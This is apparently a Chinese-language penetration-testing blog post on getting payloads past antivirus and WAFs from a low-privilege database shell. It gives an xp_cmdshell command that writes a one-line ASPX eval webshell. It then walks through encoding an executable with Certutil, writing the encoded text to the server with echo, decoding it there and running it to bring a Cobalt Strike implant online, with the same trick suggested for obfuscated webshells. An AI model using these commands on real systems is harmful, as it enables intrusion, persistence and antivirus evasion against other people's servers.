各位在滲透中是否遇見過這個問題:
雖然有低權限指令shell,如mssql、postgres等,執行下載下傳總是各種無權限或者被AV殺,輕則無法繼續滲透,重則彈出攔截消息,管理者上機後立馬發現。
本文将介紹一種使用windows自帶工具進行編碼,寫入編碼資料到TXT文本最後再解碼的騷操作。
話不多說,例如這樣場景:在資料庫連接配接後或者sqlmap注入連接配接os-shell後可執行指令:
其中包括殺軟或某狗、某盾:
此時下載下傳檔案的各種指令均被攔截:
bitsadmin:
certutil證書:
還會被殺軟報警:
powershell也會被徹底封殺:
尤其是某管家,攔截更徹底,根本沒有倒計時自動消失(此時需要誇一下某大廠的報警提示倒計時功能)
而在這種環境下可在有權限寫入的前提下嘗試寫入一句話木馬:
xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:WWWbmfx.aspx'
但也存在被某狗、WAF殺掉的可能。
此時,騷操作上場。
windows自帶的證書下載下傳,也就是上文使用但遠端下載下傳被攔截的Certutil,還可用來對檔案編碼解碼:
本地:
Certutil -encode artifact.txt artifact.exe
或指定路徑:
Certutil -encode d:artifact.txt d:artifact.exe
将txt文本使用echo指令:
echo sfAFASFAsfasgasdf………>>d:1.txt
寫入伺服器後,進入txt所在目錄執行解碼(或直接指定實體目錄檔案):
Certutil -decode art.txt art.exe
或:
Certutil -decode d:art.txt d:art.exe
後續可在指令中執行exe上線:
cmd.exe /c art.exe
重點是:本地解碼編碼操作不會觸發殺軟攔截行為!
此外,Certutil支援将任意檔案編碼解碼,除了exe還有aspx、php、jsp等(如加密免殺的webshell,此處使用哥斯拉為例):
可在web站點寫入檔案後通路txt檢視寫入有無偏差:
還有一點,本人親測,編碼後txt中的文本類似于生成的shellcode,會自動換行顯示,但本地替換換行符、自行拆分換行符,不改變内容的前提下,編碼、解碼前後的檔案不會有任何影響。
但是在navicat等資料庫軟體裡操作的話還有一個限制,echo的長度會提示不要過長:
此時就要看各位師傅們在bypass WaF、AV時如何減小體量了,一般cs的馬bypass後會在50k左右,使用sqlmap的—os-shell執行echo不會像navicat要求128字元那麼短,但也有長度限制,具體各位可親測。